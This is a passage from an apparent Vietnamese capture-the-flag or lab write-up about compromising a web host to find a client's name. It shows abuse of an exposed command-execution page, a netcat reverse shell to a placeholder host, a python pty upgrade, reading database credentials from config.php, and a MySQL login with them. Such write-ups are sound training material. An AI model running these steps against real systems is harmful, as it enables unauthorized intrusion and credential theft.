What is the full name of the client from whom William has earned the highest income?

  • Tiếp tục tìm các thư mục trên mục tiêu thì tôi thầy được mấu chốt nằm ở /devtools , trong đây sẽ có 1 file command-line.php , tôi thử nhập 1 số lệnh như pwd , whoami , ls thì nó thực thi thật :))) . hehe !
  • Tôi cho nó mở 1 revshell để dễ tìm đáp án :
nc my-ip my-port -e /bin/bash
  • Sau khi đã có 1 shell , nhưng nó chưa có nhắc lệnh , tôi nâng cấp cho nó ổn hơn bằng cách:
python3 -c 'import pty; pty.spawn("/bin/bash")'
  • Tôi tìm đến file config.php và đọc nó , kết quả cho thấy :
www-data@debian:/var/www/williamtaylor.hv$ ls
ls
config.php  css  devtools  img	index.html  js	projects  scss	vendor
www-data@debian:/var/www/williamtaylor.hv$ cat con*

define('DB_USER', 'william'); // Database username
define('DB_PASSWORD', 'wt-devx-1'); // Database password
define('DB_NAME', 'freelance_jobs'); // Database name
?>
  • Tôi truy cập vào databases để tìm thông tin khách hàng và trả lời cho câu hỏi này bằng thông tin xác thực vừa tìm được :
www-data@debian:/var/www/williamtaylor.hv$ mysql -h localhost -u william -p'wt-devx-1' freelance_jobs
